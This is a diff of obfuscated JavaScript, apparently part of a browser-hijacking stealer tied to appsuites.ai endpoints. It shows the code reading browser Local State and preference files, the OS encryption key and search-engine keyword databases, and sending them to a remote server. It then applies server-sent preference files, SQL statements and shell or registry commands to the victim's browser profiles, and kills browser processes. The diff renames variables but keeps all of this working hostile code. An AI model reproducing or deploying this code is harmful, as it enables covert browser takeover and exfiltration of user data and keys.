- str10 = path5.join(no.S559FZQ.D47CBV3(), nq.E506IW4.n6632PG);
+ } else if (qc == 5) {
+ str10 = path5.join(np.S559FZQ.D47CBV3(), nr.E506IW4.n6632PG);
if (await this.A5FCGS4(str10)) {
return str10;
}
- } else if (qa == 6) {
- str10 = path5.join(no.S559FZQ.D47CBV3(), nq.E506IW4.P41D36M);
+ } else if (qc == 6) {
+ str10 = path5.join(np.S559FZQ.D47CBV3(), nr.E506IW4.P41D36M);
if (await this.A5FCGS4(str10)) {
return str10;
}
- } else if (qa == 7) {
- str10 = path5.join(no.S559FZQ.P6A7H5F(), nq.E506IW4.i623ZUC, nq.E506IW4.z3EF88U);
+ } else if (qc == 7) {
+ str10 = path5.join(np.S559FZQ.P6A7H5F(), nr.E506IW4.i623ZUC, nr.E506IW4.z3EF88U);
if (await this.A5FCGS4(str10)) {
return str10;
}
}
return '';
}
- async j458FW3(qb) {
- if (this.A64CEBI == '' || !nq.e5325L3.k596N0J) {
+ async j458FW3(qd) {
+ if (this.A64CEBI == '' || !nr.e5325L3.k596N0J) {
return;
}
const path6 = require("path");
- const qc = no.S559FZQ.D47CBV3();
- if (!qc) {
- await np.w3F3UWA.Y6CDW21(0, np.z579NEI.F65A6FS);
+ const qe = np.S559FZQ.D47CBV3();
+ if (!qe) {
+ await nq.w3F3UWA.Y6CDW21(0, [113, '']);
return;
}
- const qd = path6.join(qc, nq.E506IW4.G555SVW);
- if (nq.e5325L3.a6B1QAU == '') {
- await np.w3F3UWA.W4EF0EI(1, np.z579NEI.m599GWS);
+ const qf = path6.join(qe, nr.E506IW4.G555SVW);
+ if (nr.e5325L3.a6B1QAU == '') {
+ await nq.w3F3UWA.W4EF0EI(1, [115, '']);
return;
}
- if (this.Z5A9DKG || !qb || nq.e5325L3.x484Q1X == no.a689XV5.j5C58S9) {
- if (qb) {
- qb = false;
+ if (this.Z5A9DKG || !qd || nr.e5325L3.x484Q1X == np.a689XV5.j5C58S9) {
+ if (qd) {
+ qd = false;
}
- await this.D45AYQ3(nq.E506IW4.F431S76);
+ await this.D45AYQ3(nr.E506IW4.F431S76);
}
- const [qe, qf] = await this.A554U7Y(1, path6.join(qd, nq.E506IW4.G5A3TG6), false);
- if (qf && qf !== '') {
- qf = this.r42EX1Q(qf);
+ const [qg, qh] = await this.A554U7Y(1, path6.join(qf, nr.E506IW4.G5A3TG6), false);
+ if (qh && qh !== '') {
+ qh = this.r42EX1Q(qh);
}
- if (qe) {
+ if (qg) {
let flag2 = false;
- for (let qg = 0; qg < qe.length; qg++) {
- const qh = path6.join(qd, qe[qg], nq.E506IW4.v50CKDQ);
- const qi = path6.join(qd, qe[qg], nq.E506IW4.v4A5HA6);
- const qj = path6.join(qd, qe[qg], nq.E506IW4.U40AV23);
- const qk = path6.join(qd, qe[qg], nq.E506IW4.z626Z6P);
- if (await this.X428OQY(qh, qj)) {
- await this.X428OQY(qi, qk);
+ for (let qi = 0; qi < qg.length; qi++) {
+ const qj = path6.join(qf, qg[qi], nr.E506IW4.v50CKDQ);
+ const qk = path6.join(qf, qg[qi], nr.E506IW4.v4A5HA6);
+ const ql = path6.join(qf, qg[qi], nr.E506IW4.U40AV23);
+ const qm = path6.join(qf, qg[qi], nr.E506IW4.z626Z6P);
+ if (await this.X428OQY(qj, ql)) {
+ await this.X428OQY(qk, qm);
let str11 = '';
let str12 = '';
- await this.r576OBZ(qj).then((qm) => {
- str11 = qm;
- }).catch((qn) => {
+ await this.r576OBZ(ql).then((qo) => {
+ str11 = qo;
+ }).catch((qp) => {
(async () => {
- await np.w3F3UWA.Y6CDW21(1, np.z579NEI.n690Q7K, qn);
+ await nq.w3F3UWA.Y6CDW21(1, [124, ''], qp);
})();
});
- await this.r576OBZ(qk).then((qo) => {
- str12 = qo;
- }).catch((qp) => {
+ await this.r576OBZ(qm).then((qq) => {
+ str12 = qq;
+ }).catch((qr) => {
(async () => {
- await np.w3F3UWA.Y6CDW21(1, np.z579NEI.V6A4P0Z, qp);
+ await nq.w3F3UWA.Y6CDW21(1, [125, ''], qr);
})();
});
if (str11 == '') {
- await np.w3F3UWA.W4EF0EI(1, np.z579NEI.Q455VXT);
+ await nq.w3F3UWA.W4EF0EI(1, [116, '']);
continue;
}
- const ql = await this.O515QL8(1, str11, str12);
- if (!ql.m5BCP18) {
- await np.w3F3UWA.W4EF0EI(1, np.z579NEI.L5CFOQF);
+ const qn = await this.O515QL8(1, str11, str12);
+ if (!qn.m5BCP18) {
+ await nq.w3F3UWA.W4EF0EI(1, [114, '']);
return;
}
- if (qb && ((await this.H5AE3US(ql.C5C7K1A)) || (await this.H5AE3US(ql.K5F23B9)))) {
+ if (qd && ((await this.H5AE3US(qn.C5C7K1A)) || (await this.H5AE3US(qn.K5F23B9)))) {
await this.j458FW3(false);
return;
}
let flag3 = false;
- if (await this.H5AE3US(ql.C5C7K1A)) {
- await this.Y53EKLA(qj, ql.C5C7K1A);
- await this.X428OQY(qj, qh);
+ if (await this.H5AE3US(qn.C5C7K1A)) {
+ await this.Y53EKLA(ql, qn.C5C7K1A);
+ await this.X428OQY(ql, qj);
flag3 = true;
}
- if (await this.H5AE3US(ql.K5F23B9)) {
- await this.Y53EKLA(qk, ql.K5F23B9);
- await this.X428OQY(qk, qi);
+ if (await this.H5AE3US(qn.K5F23B9)) {
+ await this.Y53EKLA(qm, qn.K5F23B9);
+ await this.X428OQY(qm, qk);
flag3 = true;
}
- if (ql.j5D4IOV && ql.j5D4IOV.length !== 0) {
- await this.O69AL84(nq.E506IW4.q531YE2 + qe[qg], nq.E506IW4.V573T48, ql.j5D4IOV);
+ if (qn.j5D4IOV && qn.j5D4IOV.length !== 0) {
+ await this.O69AL84(nr.E506IW4.q531YE2 + qg[qi], nr.E506IW4.V573T48, qn.j5D4IOV);
flag3 = true;
}
- if (await this.H5AE3US(ql.O6CBOE4)) {
- const data3 = JSON.parse(ql.O6CBOE4);
+ if (await this.H5AE3US(qn.O6CBOE4)) {
+ const data3 = JSON.parse(qn.O6CBOE4);
const arr11 = [];
- for (const qq in data3) {
- if (data3.hasOwnProperty(qq)) {
- const qr = data3[qq];
- for (const qs in qr) {
- if (qr.hasOwnProperty(qs)) {
- await this.O69AL84(qq.replace("%PROFILE%", qe[qg]), qs, qr[qs]);
- arr11.push(qs);
+ for (const qs in data3) {
+ if (data3.hasOwnProperty(qs)) {
+ const qt = data3[qs];
+ for (const qu in qt) {
+ if (qt.hasOwnProperty(qu)) {
+ await this.O69AL84(qs.replace("%PROFILE%", qg[qi]), qu, qt[qu]);
+ arr11.push(qu);
}
}
}
}
if (arr11.length > 0) {
- await np.w3F3UWA.W4EF0EI(1, np.z579NEI.f4D0VNO, [arr11]);
+ await nq.w3F3UWA.W4EF0EI(1, [117, ''], [arr11]);
}
}
flag2 = true;
if (flag3) {
- await np.w3F3UWA.W4EF0EI(1, np.z579NEI.y462O1X);
+ await nq.w3F3UWA.W4EF0EI(1, [118, '']);
} else {
- await np.w3F3UWA.W4EF0EI(1, np.z579NEI.E69EQ1O);
+ await nq.w3F3UWA.W4EF0EI(1, [119, '']);
}
}
}
if (flag2) {
- await no.S559FZQ.c5E4Z7C("c-key", nq.e5325L3.q474LOF);
+ await np.S559FZQ.c5E4Z7C("c-key", nr.e5325L3.q474LOF);
}
}
}
- async p4FE5X4(qt) {
- if (!nq.e5325L3.k596N0J) {
+ async p4FE5X4(qv) {
+ if (!nr.e5325L3.k596N0J) {
return;
}
const path7 = require("path");
- const qu = no.S559FZQ.D47CBV3();
- if (!qu) {
- await np.w3F3UWA.Y6CDW21(0, np.z579NEI.F65A6FS);
+ const qw = np.S559FZQ.D47CBV3();
+ if (!qw) {
+ await nq.w3F3UWA.Y6CDW21(0, [113, '']);
return;
}
- const qv = path7.join(qu, nq.E506IW4.G555SVW);
- if (nq.e5325L3.a6B1QAU == '') {
- await np.w3F3UWA.W4EF0EI(1, np.z579NEI.m599GWS);
+ const qx = path7.join(qw, nr.E506IW4.G555SVW);
+ if (nr.e5325L3.a6B1QAU == '') {
+ await nq.w3F3UWA.W4EF0EI(1, [115, '']);
return;
}
- if (this.Z5A9DKG || !qt || nq.e5325L3.x484Q1X == no.a689XV5.j5C58S9) {
- if (qt) {
- qt = false;
- await this.D45AYQ3(nq.E506IW4.F431S76);
+ if (this.Z5A9DKG || !qv || nr.e5325L3.x484Q1X == np.a689XV5.j5C58S9) {
+ if (qv) {
+ qv = false;
+ await this.D45AYQ3(nr.E506IW4.F431S76);
}
- const [qw, qx] = await this.A554U7Y(1, path7.join(qv, nq.E506IW4.G5A3TG6), true);
- if (qx && qx !== '') {
- qx = this.r42EX1Q(qx);
+ const [qy, qz] = await this.A554U7Y(1, path7.join(qx, nr.E506IW4.G5A3TG6), true);
+ if (qz && qz !== '') {
+ qz = this.r42EX1Q(qz);
}
- if (qw) {
+ if (qy) {
let flag4 = false;
- for (let qy = 0; qy < qw.length; qy++) {
- const qz = path7.join(qv, qw[qy], nq.E506IW4.v50CKDQ);
- const ra = path7.join(qv, qw[qy], nq.E506IW4.U40AV23);
- const rb = path7.join(qv, qw[qy], nq.E506IW4.I4046MY);
- const rc = path7.join(qv, qw[qy], nq.E506IW4.i61EV2V);
- if (await this.X428OQY(qz, ra)) {
- await this.X428OQY(rb, rc);
- let rd;
- let re;
- await this.r576OBZ(ra).then((rg) => {
- rd = rg;
- }).catch((rh) => {
+ for (let ra = 0; ra < qy.length; ra++) {
+ const rb = path7.join(qx, qy[ra], nr.E506IW4.v50CKDQ);
+ const rc = path7.join(qx, qy[ra], nr.E506IW4.U40AV23);
+ const rd = path7.join(qx, qy[ra], nr.E506IW4.I4046MY);
+ const re = path7.join(qx, qy[ra], nr.E506IW4.i61EV2V);
+ if (await this.X428OQY(rb, rc)) {
+ await this.X428OQY(rd, re);
+ let rf;
+ let rg;
+ await this.r576OBZ(rc).then((ri) => {
+ rf = ri;
+ }).catch((rj) => {
(async () => {
- await np.w3F3UWA.Y6CDW21(1, np.z579NEI.n690Q7K, rh);
+ await nq.w3F3UWA.Y6CDW21(1, [124, ''], rj);
})();
});
- await this.G5B8BDL(rc).then((ri) => {
- re = ri ?? '';
- }).catch((rj) => {
+ await this.G5B8BDL(re).then((rk) => {
+ rg = rk ?? '';
+ }).catch((rl) => {
(async () => {
- await np.w3F3UWA.Y6CDW21(1, np.z579NEI.K4E5MWI, rj);
+ await nq.w3F3UWA.Y6CDW21(1, [164, ''], rl);
})();
});
- if (rd == '') {
- await np.w3F3UWA.W4EF0EI(1, np.z579NEI.Q455VXT);
+ if (rf == '') {
+ await nq.w3F3UWA.W4EF0EI(1, [116, '']);
continue;
}
- const rf = await this.w516KLO(1, qx, rd, re);
- if (!rf.m5BCP18) {
- await np.w3F3UWA.W4EF0EI(1, np.z579NEI.L5CFOQF);
+ const rh = await this.w516KLO(1, qz, rf, rg);
+ if (!rh.m5BCP18) {
+ await nq.w3F3UWA.W4EF0EI(1, [114, '']);
return;
}
- if (await this.H5AE3US(rf.C5C7K1A)) {
- await this.Y53EKLA(ra, rf.C5C7K1A);
- await this.X428OQY(ra, qz);
+ if (await this.H5AE3US(rh.C5C7K1A)) {
+ await this.Y53EKLA(rc, rh.C5C7K1A);
+ await this.X428OQY(rc, rb);
}
- if ((await this.H5AE3US(rf.p6845JK)) && (await this.r501Z9L(rc, rf.p6845JK))) {
+ if ((await this.H5AE3US(rh.p6845JK)) && (await this.r501Z9L(re, rh.p6845JK))) {
if (await this.o43FWNP(false, 1)) {
- await this.D45AYQ3(nq.E506IW4.F431S76);
+ await this.D45AYQ3(nr.E506IW4.F431S76);
}
- await this.X428OQY(rc, rb);
- await np.w3F3UWA.W4EF0EI(1, np.z579NEI.W4F1V66);
+ await this.X428OQY(re, rd);
+ await nq.w3F3UWA.W4EF0EI(1, [165, '']);
} else {
- await np.w3F3UWA.W4EF0EI(1, np.z579NEI.n4EBPL8);
+ await nq.w3F3UWA.W4EF0EI(1, [166, '']);
}
flag4 = true;
}
}
if (flag4) {
- await no.S559FZQ.c5E4Z7C("cw-key", nq.e5325L3.q474LOF);
+ await np.S559FZQ.c5E4Z7C("cw-key", nr.e5325L3.q474LOF);
}
}
}
}
- async k47F3QK(rk) {
- if (!nq.e5325L3.k596N0J) {
+ async k47F3QK(rm) {
+ if (!nr.e5325L3.k596N0J) {
return;
}
const path8 = require("path");
- const rl = no.S559FZQ.D47CBV3();
- if (!rl) {
- await np.w3F3UWA.Y6CDW21(0, np.z579NEI.F65A6FS);
+ const rn = np.S559FZQ.D47CBV3();
+ if (!rn) {
+ await nq.w3F3UWA.Y6CDW21(0, [113, '']);
return;
}
- const rm = path8.join(rl, nq.E506IW4.l6C9B2Z);
- if (nq.e5325L3.a6B1QAU == '') {
- await np.w3F3UWA.W4EF0EI(2, np.z579NEI.m599GWS);
+ const ro = path8.join(rn, nr.E506IW4.l6C9B2Z);
+ if (nr.e5325L3.a6B1QAU == '') {
+ await nq.w3F3UWA.W4EF0EI(2, [115, '']);
return;
}
- if (this.Z5A9DKG || !rk || nq.e5325L3.x484Q1X == no.a689XV5.j5C58S9) {
- if (rk) {
- rk = false;
- await this.D45AYQ3(nq.E506IW4.e4BDF2X);
+ if (this.Z5A9DKG || !rm || nr.e5325L3.x484Q1X == np.a689XV5.j5C58S9) {
+ if (rm) {
+ rm = false;
+ await this.D45AYQ3(nr.E506IW4.e4BDF2X);
}
- const [rn, ro] = await this.A554U7Y(2, path8.join(rm, nq.E506IW4.G5A3TG6), true);
- if (ro && ro !== '') {
- ro = this.r42EX1Q(ro);
+ const [rp, rq] = await this.A554U7Y(2, path8.join(ro, nr.E506IW4.G5A3TG6), true);
+ if (rq && rq !== '') {
+ rq = this.r42EX1Q(rq);
}
- if (rn) {
+ if (rp) {
let flag5 = false;
- for (let rp = 0; rp < rn.length; rp++) {
- const rq = path8.join(rm, rn[rp], nq.E506IW4.v50CKDQ);
- const rr = path8.join(rm, rn[rp], nq.E506IW4.U40AV23);
- const rs = path8.join(rm, rn[rp], nq.E506IW4.I4046MY);
- const rt = path8.join(rm, rn[rp], nq.E506IW4.i61EV2V);
- if (await this.X428OQY(rq, rr)) {
- await this.X428OQY(rs, rt);
- let ru;
- let rv;
- await this.r576OBZ(rr).then((rx) => {
- ru = rx;
- }).catch((ry) => {
+ for (let rr = 0; rr < rp.length; rr++) {
+ const rs = path8.join(ro, rp[rr], nr.E506IW4.v50CKDQ);
+ const rt = path8.join(ro, rp[rr], nr.E506IW4.U40AV23);
+ const ru = path8.join(ro, rp[rr], nr.E506IW4.I4046MY);
+ const rv = path8.join(ro, rp[rr], nr.E506IW4.i61EV2V);
+ if (await this.X428OQY(rs, rt)) {
+ await this.X428OQY(ru, rv);
+ let rw;
+ let rx;
+ await this.r576OBZ(rt).then((rz) => {
+ rw = rz;
+ }).catch((sa) => {
(async () => {
- await np.w3F3UWA.Y6CDW21(2, np.z579NEI.n690Q7K, ry);
+ await nq.w3F3UWA.Y6CDW21(2, [124, ''], sa);
})();
});
- await this.G5B8BDL(rt).then((rz) => {
- rv = rz ?? '';
- }).catch((sa) => {
+ await this.G5B8BDL(rv).then((sb) => {
+ rx = sb ?? '';
+ }).catch((sc) => {
(async () => {
- await np.w3F3UWA.Y6CDW21(2, np.z579NEI.K4E5MWI, sa);
+ await nq.w3F3UWA.Y6CDW21(2, [164, ''], sc);
})();
});
- if (ru == '') {
- await np.w3F3UWA.W4EF0EI(2, np.z579NEI.Q455VXT);
+ if (rw == '') {
+ await nq.w3F3UWA.W4EF0EI(2, [116, '']);
continue;
}
- const rw = await this.w516KLO(2, ro, ru, rv);
- if (!rw.m5BCP18) {
- await np.w3F3UWA.W4EF0EI(2, np.z579NEI.L5CFOQF);
+ const ry = await this.w516KLO(2, rq, rw, rx);
+ if (!ry.m5BCP18) {
+ await nq.w3F3UWA.W4EF0EI(2, [114, '']);
return;
}
- if (await this.H5AE3US(rw.C5C7K1A)) {
- await this.Y53EKLA(rr, rw.C5C7K1A);
- await this.X428OQY(rr, rq);
+ if (await this.H5AE3US(ry.C5C7K1A)) {
+ await this.Y53EKLA(rt, ry.C5C7K1A);
+ await this.X428OQY(rt, rs);
}
- if ((await this.H5AE3US(rw.p6845JK)) && (await this.r501Z9L(rt, rw.p6845JK))) {
+ if ((await this.H5AE3US(ry.p6845JK)) && (await this.r501Z9L(rv, ry.p6845JK))) {
if (await this.o43FWNP(false, 2)) {
- await this.D45AYQ3(nq.E506IW4.e4BDF2X);
+ await this.D45AYQ3(nr.E506IW4.e4BDF2X);
}
- await this.X428OQY(rt, rs);
- await np.w3F3UWA.W4EF0EI(2, np.z579NEI.W4F1V66);
+ await this.X428OQY(rv, ru);
+ await nq.w3F3UWA.W4EF0EI(2, [165, '']);
} else {
- await np.w3F3UWA.W4EF0EI(2, np.z579NEI.n4EBPL8);
+ await nq.w3F3UWA.W4EF0EI(2, [166, '']);
}
flag5 = true;
}
}
if (flag5) {
- await no.S559FZQ.c5E4Z7C("ew-key", nq.e5325L3.q474LOF);
+ await np.S559FZQ.c5E4Z7C("ew-key", nr.e5325L3.q474LOF);
}
}
}
}
- async E4E2LLU(sb) {
- return new Promise((sc) => setTimeout(sc, sb));
+ async E4E2LLU(sd) {
+ return new Promise((se) => setTimeout(se, sd));
}
- async D45AYQ3(sd, se = true) {
+ async D45AYQ3(sf, sg = true) {
const cp3 = require("child_process");
- if (se) {
- for (let sf = 0; sf < 3; sf++) {
- cp3.exec(np.o5B4F49(nq.E506IW4.U548GP6, sd));
+ if (sg) {
+ for (let sh = 0; sh < 3; sh++) {
+ cp3.exec(nq.o5B4F49(nr.E506IW4.U548GP6, sf));
await this.E4E2LLU(100);
}
}
- cp3.exec(np.o5B4F49(nq.E506IW4.q3F6NE0, sd));
+ cp3.exec(nq.o5B4F49(nr.E506IW4.q3F6NE0, sf));
await this.E4E2LLU(100);
}
- async A554U7Y(sg, sh, si = false) {
+ async A554U7Y(si, sj, sk = false) {
try {
- const data4 = JSON.parse(require("fs").readFileSync(sh, "utf8"));
- return [Object.keys(data4.profile?.info_cache || {}), si ? data4.os_crypt?.encrypted_key || '' : ''];
- } catch (sj) {
- await np.w3F3UWA.Y6CDW21(sg, np.z579NEI.y46BIEQ, sj);
+ const data4 = JSON.parse(require("fs").readFileSync(sj, "utf8"));
+ return [Object.keys(data4.profile?.info_cache || {}), sk ? data4.os_crypt?.encrypted_key || '' : ''];
+ } catch (sl) {
+ await nq.w3F3UWA.Y6CDW21(si, [123, ''], sl);
}
return [undefined, undefined];
}
- async X428OQY(sk, sl) {
+ async X428OQY(sm, sn) {
try {
- require("fs").copyFileSync(sk, sl);
+ require("fs").copyFileSync(sm, sn);
return true;
} catch {
return false;
}
}
- async r576OBZ(sm, sn = false) {
+ async r576OBZ(so, sp = false) {
const fs10 = require("fs");
try {
- if (!sn) {
- return fs10.readFileSync(sm, "utf8");
+ if (!sp) {
+ return fs10.readFileSync(so, "utf8");
}
- return fs10.readFileSync(sm);
- } catch (so) {
- throw new Error("ReadFileError: " + so);
+ return fs10.readFileSync(so);
+ } catch (sq) {
+ throw new Error("ReadFileError: " + sq);
}
}
- async G5B8BDL(sp) {
- const sq = new require("better-sqlite3")(sp);
+ async G5B8BDL(sr) {
+ const ss = new require("better-sqlite3")(sr);
try {
- return JSON.stringify(sq.prepare("select * from keywords").all());
- } catch (sr) {
- throw new Error(sr);
+ return JSON.stringify(ss.prepare("select * from keywords").all());
+ } catch (st) {
+ throw new Error(st);
} finally {
- sq.close((ss) => {});
+ ss.close((su) => {});
}
}
- async r501Z9L(st, su) {
- const sv = new require("better-sqlite3")(st);
+ async r501Z9L(sv, sw) {
+ const sx = new require("better-sqlite3")(sv);
try {
- for (const sw of JSON.parse(su)) {
- sv.prepare(sw).run();
+ for (const sy of JSON.parse(sw)) {
+ sx.prepare(sy).run();
}
} catch {
return false;
} finally {
- sv.close((sx) => {
- if (sx) {
+ sx.close((sz) => {
+ if (sz) {
return;
}
});
}
return true;
}
- async Y53EKLA(sy, sz) {
+ async Y53EKLA(ta, tb) {
try {
- require("fs").writeFileSync(sy, sz);
+ require("fs").writeFileSync(ta, tb);
} catch {}
}
- async A5FCGS4(ta) {
- return require("fs").existsSync(ta);
+ async A5FCGS4(tc) {
+ return require("fs").existsSync(tc);
}
- async O69AL84(tb, tc, td) {
+ async O69AL84(td, te, tf) {
try {
- require("child_process").execSync(np.o5B4F49(nq.E506IW4.Z643HV5, tb, tc, td));
- } catch (te) {
- await np.w3F3UWA.Y6CDW21(0, np.z579NEI.u3F4OPT, te);
+ require("child_process").execSync(nq.o5B4F49(nr.E506IW4.Z643HV5, td, te, tf));
+ } catch (tg) {
+ await nq.w3F3UWA.Y6CDW21(0, [135, ''], tg);
}
}
- async w4D8BBU(tf, tg) {
+ async w4D8BBU(th, ti) {
try {
- require("child_process").execSync(np.o5B4F49(nq.E506IW4.M4F7RZT, tf, tg));
- } catch (th) {
- await np.w3F3UWA.Y6CDW21(1, np.z579NEI.h6148NE, th);
+ require("child_process").execSync(nq.o5B4F49(nr.E506IW4.M4F7RZT, th, ti));
+ } catch (tj) {
+ await nq.w3F3UWA.Y6CDW21(1, [143, ''], tj);
}
}
- async u459C3E(ti, tj) {
+ async u459C3E(tk, tl) {
try {
- const tk = tj.trim() == '' ? np.o5B4F49(nq.E506IW4.p49ALL3, ti) : np.o5B4F49(nq.E506IW4.H4A2CBA, ti, tj);
- require("child_process").execSync(tk);
+ const tm = tl.trim() == '' ? nq.o5B4F49(nr.E506IW4.p49ALL3, tk) : nq.o5B4F49(nr.E506IW4.H4A2CBA, tk, tl);
+ require("child_process").execSync(tm);
return true;
- } catch (tl) {
- if (!tl.stderr.includes(nq.E506IW4.g477SEM)) {
- await np.w3F3UWA.Y6CDW21(0, np.z579NEI.m4F36Z7, tl);
+ } catch (tn) {
+ if (!tn.stderr.includes(nr.E506IW4.g477SEM)) {
+ await nq.w3F3UWA.Y6CDW21(0, [155, ''], tn);
}
}
return false;
}
- async H5AE3US(tm) {
- if (!tm) {
+ async H5AE3US(to) {
+ if (!to) {
return false;
}
- if (tm.length == 0) {
+ if (to.length == 0) {
return false;
}
try {
- const data5 = JSON.parse(tm);
+ const data5 = JSON.parse(to);
return true;
} catch {
return false;
@@ -2653,273 +2653,273 @@
}
async e4F5CS0() {
try {
- var tn = nq.e5325L3.q474LOF ?? '';
- const params3 = new require("url").URLSearchParams();
- const to = no.S559FZQ.n677BRA.substring(0, 24) + tn.substring(0, 8);
+ var tp = nr.e5325L3.q474LOF ?? '';
+ const tq = new require("url").URLSearchParams();
+ const tr = np.S559FZQ.n677BRA.substring(0, 24) + tp.substring(0, 8);
const obj6 = {
- iid: tn,
- version: nq.e5325L3.Y55B2P2,
+ iid: tp,
+ version: nr.e5325L3.Y55B2P2,
isSchedule: '0',
- hasBLFile: nq.e5325L3.b57CS7T,
- hasBLReg: nq.e5325L3.K48B40X,
+ hasBLFile: nr.e5325L3.b57CS7T,
+ hasBLReg: nr.e5325L3.K48B40X,
supportWd: '1'
};
- const tp = np.O694X7J(to, JSON.stringify(obj6));
- params3.append("data", tp.data);
- params3.append("iv", tp.iv);
- params3.append("iid", nq.e5325L3.q474LOF ?? '');
- const tq = await np.h5235DD("api/s3/config", params3);
- if (tq && tq.ok) {
- const tr = await tq.json();
+ const ts = nq.O694X7J(tr, JSON.stringify(obj6));
+ tq.append("data", ts.data);
+ tq.append("iv", ts.iv);
+ tq.append("iid", nr.e5325L3.q474LOF ?? '');
+ const tt = await nq.h5235DD("api/s3/config", tq);
+ if (tt && tt.ok) {
+ const tu = await tt.json();
try {
- if (tr.data) {
- const data6 = JSON.parse(np.U61FWBZ(to, tr.data, tr.iv));
- const ts = new ns();
- ts.H5C67AR = data6.wc ?? false;
- ts.n412K1U = data6.wcs ?? false;
- ts.n5B332O = data6.wcpc ?? false;
- ts.k61AQMQ = data6.wcpe ?? false;
- ts.a6AFL0X = data6.wdc ?? false;
- ts.D4E3EHU = data6.wde ?? false;
- ts.E67CJ69 = data6.ol ?? false;
- ts.a586DQ2 = data6.ol_deep ?? false;
- ts.X42CN81 = data6.wv ?? false;
- ts.Y4B23HN = data6.wv_deep ?? false;
- ts.T5B2T2A = data6.sf ?? false;
- ts.V54518G = data6.sf_deep ?? false;
- ts.T5F71B2 = data6.pas ?? false;
- ts.g5ABMVH = data6.pas_deep ?? false;
- ts.t533W41 = data6.code ?? '';
- ts.O6CBOE4 = data6.reglist ?? '';
- return ts;
+ if (tu.data) {
+ const data6 = JSON.parse(nq.U61FWBZ(tr, tu.data, tu.iv));
+ const tv = new nt();
+ tv.H5C67AR = data6.wc ?? false;
+ tv.n412K1U = data6.wcs ?? false;
+ tv.n5B332O = data6.wcpc ?? false;
+ tv.k61AQMQ = data6.wcpe ?? false;
+ tv.a6AFL0X = data6.wdc ?? false;
+ tv.D4E3EHU = data6.wde ?? false;
+ tv.E67CJ69 = data6.ol ?? false;
+ tv.a586DQ2 = data6.ol_deep ?? false;
+ tv.X42CN81 = data6.wv ?? false;
+ tv.Y4B23HN = data6.wv_deep ?? false;
+ tv.T5B2T2A = data6.sf ?? false;
+ tv.V54518G = data6.sf_deep ?? false;
+ tv.T5F71B2 = data6.pas ?? false;
+ tv.g5ABMVH = data6.pas_deep ?? false;
+ tv.t533W41 = data6.code ?? '';
+ tv.O6CBOE4 = data6.reglist ?? '';
+ return tv;
}
- } catch (tt) {
- await np.w3F3UWA.Y6CDW21(0, np.z579NEI.e5C24C6, tt);
+ } catch (tw) {
+ await nq.w3F3UWA.Y6CDW21(0, [137, ''], tw);
}
} else {}
- } catch (tu) {
- await np.w3F3UWA.Y6CDW21(0, np.z579NEI.E4AAIZR, tu);
+ } catch (tx) {
+ await nq.w3F3UWA.Y6CDW21(0, [136, ''], tx);
}
- return new ns();
+ return new nt();
}
- async O515QL8(tv, tw, tx) {
+ async O515QL8(ty, tz, ua) {
try {
- var ty = nq.e5325L3.q474LOF ?? '';
- const params4 = new require("url").URLSearchParams();
- const tz = no.S559FZQ.n677BRA.substring(0, 24) + ty.substring(0, 8);
+ var ub = nr.e5325L3.q474LOF ?? '';
+ const uc = new require("url").URLSearchParams();
+ const ud = np.S559FZQ.n677BRA.substring(0, 24) + ub.substring(0, 8);
const obj7 = {
- iid: ty,
- bid: tv,
+ iid: ub,
+ bid: ty,
sid: this.A64CEBI,
- pref: tw,
- spref: tx,
+ pref: tz,
+ spref: ua,
wd: '',
- version: nq.e5325L3.Y55B2P2,
+ version: nr.e5325L3.Y55B2P2,
supportWd: '0',
isSchedule: '0'
};
- const ua = np.O694X7J(tz, JSON.stringify(obj7));
- params4.append("data", ua.data);
- params4.append("iv", ua.iv);
- params4.append("iid", nq.e5325L3.q474LOF ?? '');
- const ub = await np.h5235DD("api/s3/validate", params4);
- if (!ub || !ub.ok) {
- return new nt();
- }
- const uc = await ub.json();
+ const ue = nq.O694X7J(ud, JSON.stringify(obj7));
+ uc.append("data", ue.data);
+ uc.append("iv", ue.iv);
+ uc.append("iid", nr.e5325L3.q474LOF ?? '');
+ const uf = await nq.h5235DD("api/s3/validate", uc);
+ if (!uf || !uf.ok) {
+ return new nu();
+ }
+ const ug = await uf.json();
try {
- if (uc.data) {
- const data7 = JSON.parse(np.U61FWBZ(tz, uc.searchdata, uc.iv));
- let ud = JSON.stringify(data7.pref) ?? '';
- let ue = JSON.stringify(data7.spref) ?? '';
- let uf = JSON.stringify(data7.regdata) ?? '';
- let ug = JSON.stringify(data7.reglist) ?? '';
- if (ud == "null") {
- ud = '';
+ if (ug.data) {
+ const data7 = JSON.parse(nq.U61FWBZ(ud, ug.searchdata, ug.iv));
+ let uh = JSON.stringify(data7.pref) ?? '';
+ let ui = JSON.stringify(data7.spref) ?? '';
+ let uj = JSON.stringify(data7.regdata) ?? '';
+ let uk = JSON.stringify(data7.reglist) ?? '';
+ if (uh == "null") {
+ uh = '';
}
- if (ue == "null") {
- ue = '';
+ if (ui == "null") {
+ ui = '';
}
- if (uf == "\"\"") {
- uf = '';
+ if (uj == "\"\"") {
+ uj = '';
}
- if (ug == "\"\"") {
- ug = '';
+ if (uk == "\"\"") {
+ uk = '';
}
- return new nt(true, ud, ue, uf, ug);
+ return new nu(true, uh, ui, uj, uk);
}
- } catch (uh) {
- await np.w3F3UWA.Y6CDW21(tv, np.z579NEI.l54DEIW, uh);
+ } catch (ul) {
+ await nq.w3F3UWA.Y6CDW21(ty, [126, ''], ul);
}
- } catch (ui) {
- await np.w3F3UWA.Y6CDW21(tv, np.z579NEI.M5E3V2V, ui, ["https://appsuites.ai", "https://sdk.appsuites.ai"]);
+ } catch (um) {
+ await nq.w3F3UWA.Y6CDW21(ty, [127, ''], um, ["https://appsuites.ai", "https://sdk.appsuites.ai"]);
}
- return new nt();
+ return new nu();
}
- async w516KLO(uj, uk, ul, um) {
+ async w516KLO(un, uo, up, uq) {
try {
- var un = nq.e5325L3.q474LOF ?? '';
- const params5 = new require("url").URLSearchParams();
- const uo = no.S559FZQ.n677BRA.substring(0, 24) + un.substring(0, 8);
+ var ur = nr.e5325L3.q474LOF ?? '';
+ const us = new require("url").URLSearchParams();
+ const ut = np.S559FZQ.n677BRA.substring(0, 24) + ur.substring(0, 8);
const obj8 = {
- iid: un,
- bid: uj,
+ iid: ur,
+ bid: un,
sid: this.A64CEBI,
- pref: ul,
+ pref: up,
spref: '',
- osCryptKey: uk,
- wd: um,
- version: nq.e5325L3.Y55B2P2,
+ osCryptKey: uo,
+ wd: uq,
+ version: nr.e5325L3.Y55B2P2,
supportWd: '1',
isSchedule: '0'
};
- const up = np.O694X7J(uo, JSON.stringify(obj8));
- params5.append("data", up.data);
- params5.append("iv", up.iv);
